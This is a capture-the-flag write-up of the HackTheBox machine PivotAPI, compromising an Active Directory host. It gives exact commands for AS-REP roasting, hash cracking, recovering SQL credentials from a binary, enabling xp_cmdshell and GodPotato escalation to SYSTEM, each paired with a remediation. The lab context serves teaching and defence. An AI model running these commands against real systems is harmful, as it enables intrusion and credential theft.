PivotAPI
Summary
Target PivotAPI ($TARGET) runs a Windows Active Directory environment (LicorDeBellota.htb) and was fully compromised through a five-stage chain. Anonymous FTP access exposed academic PDFs whose embedded document metadata disclosed internal domain usernames.
One account (Kaorz) had Kerberos pre-authentication disabled, yielding a crackable AS-REP hash that provided the first authenticated foothold. With those credentials the NETLOGON share was accessed, revealing a compiled help-desk executable that — after reverse engineering — yielded hardcoded SQL Server SA credentials left over from a service migration.
Those credentials gave direct MSSQL access with xp_cmdshell enabled, providing OS command execution as the MSSQL service account. That account held SeImpersonatePrivilege; GodPotato exploited this to impersonate NT AUTHORITY\SYSTEM, completing full control of the host and domain.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 4
echo "$TARGET LicorDeBellota.htb" | sudo tee -a /etc/hostswget -r -np -nH --user=anonymous --password=$PASSWORD ftp://$TARGET/exiftool *.pdf | grep -iE 'Author|Creator'printf 'alex\nKaorz\nbyron.gronseth\n' > users.txtFixDisable anonymous FTP and strip document metadata before publishing filesMedium
Exact commands 3
impacket-GetNPUsers 'LicorDeBellota.htb/' -usersfile users.txt -no-pass -dc-ip $TARGET -request -format hashcat -outputfile ftp_meta.asrephashcat -m 18200 ftp_meta.asrep /usr/share/wordlists/rockyou.txt --forcenxc smb $TARGET -d LicorDeBellota.htb -u Kaorz -p "$PASSWORD"FixEnforce Kerberos pre-authentication on all domain accountsHigh
Exact commands 2
smbclient //$TARGET/NETLOGON -U "LicorDeBellota.htb/Kaorz%$PASSWORD" -c 'recurse ON; prompt OFF; mget *'strings Restart-OracleService.exe | grep -iE 'b2e|fichero|bat'FixRemove executables, scripts, and credential-bearing artifacts from SYSVOL and NETLOGON sharesHigh
Exact commands 4
python3 -c "import hashlib, pefile; from Crypto.Cipher import ARC4; pe = pefile.PE('Restart-OracleService.exe'); key = hashlib.md5(b'fichero.bat').digest(); [open('decoded.bat','wb').write(ARC4.new(key).decrypt(pe.get_data(l.data.struct.OffsetToData, l.data.struct.Size))) for r in pe.DIRECTORY_ENTRY_RESOURCE.entries for s in r.directory.entries for l in s.directory.entries if r.id == 10]"awk '/^echo [A-Za-z0-9+/=]+/{printf "%s",$2}' decoded.bat | base64 -d > restart-service.exestrings restart-service.exe | grep -iE '#|mssql|s3rV|pass'objdump -d -M intel restart-service.exe | head -300FixEliminate hardcoded credentials from all executables, scripts, and compiled artifactsCritical
Exact commands 3
impacket-mssqlclient "sa:$PASSWORD3@$TARGET"printf '%s\n' "EXEC sp_configure 'show advanced options',1; RECONFIGURE;" "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;" "xp_cmdshell whoami" exit | impacket-mssqlclient "sa:$PASSWORD3@$TARGET"printf '%s\n' 'xp_cmdshell whoami /priv' exit | impacket-mssqlclient "sa:$PASSWORD3@$TARGET"FixDisable the SA account and xp_cmdshell, and restrict SQL Server network exposureCritical
Exact commands 5
wget -q https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe -O /tmp/GodPotato-NET4.exebase64 -w0 /tmp/GodPotato-NET4.exe | fold -w 7000 | awk 'NR==1{op=">"} NR>1{op=">>"} {print "xp_cmdshell echo "$0 op "C:\\Windows\\Temp\\gp.b64"}' > /tmp/gp_upload.sqlcat /tmp/gp_upload.sql | impacket-mssqlclient "sa:$PASSWORD3@$TARGET"printf '%s\n' 'xp_cmdshell certutil -decode C:\Windows\Temp\gp.b64 C:\Windows\Temp\GodPotato-NET4.exe' exit | impacket-mssqlclient "sa:$PASSWORD3@$TARGET"printf '%s\n' 'xp_cmdshell C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c whoami"' exit | impacket-mssqlclient "sa:$PASSWORD3@$TARGET"FixRemove SeImpersonatePrivilege from service accounts that do not require itCritical
Exact commands 2
printf '%s\n' 'xp_cmdshell C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\3v4Si0N\Desktop\user.txt"' exit | impacket-mssqlclient "sa:$PASSWORD3@$TARGET"printf '%s\n' 'xp_cmdshell C:\Windows\Temp\GodPotato-NET4.exe -cmd "cmd /c type C:\Users\cybervaca\Desktop\root.txt"' exit | impacket-mssqlclient "sa:$PASSWORD3@$TARGET"Attack patterns used
The transferable techniques behind this compromise.
AS-REP RoastingActive Directory · KerberosT1558.004
What it is
Accounts with 'Do not require Kerberos pre-authentication' set will return an AS-REP whose encrypted portion is derived from the user's password — to anyone who asks, without credentials. Tools like GetNPUsers.py collect these AS-REP blobs and they are cracked offline with hashcat (mode 18200) to recover the plaintext password.
Why it works
Pre-authentication exists precisely to stop this offline-crackable material from being handed out; disabling it (often for legacy app compatibility) reopens the hole. Detect by auditing the DONT_REQ_PREAUTH UAC flag; remediate by removing it and enforcing strong passwords.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.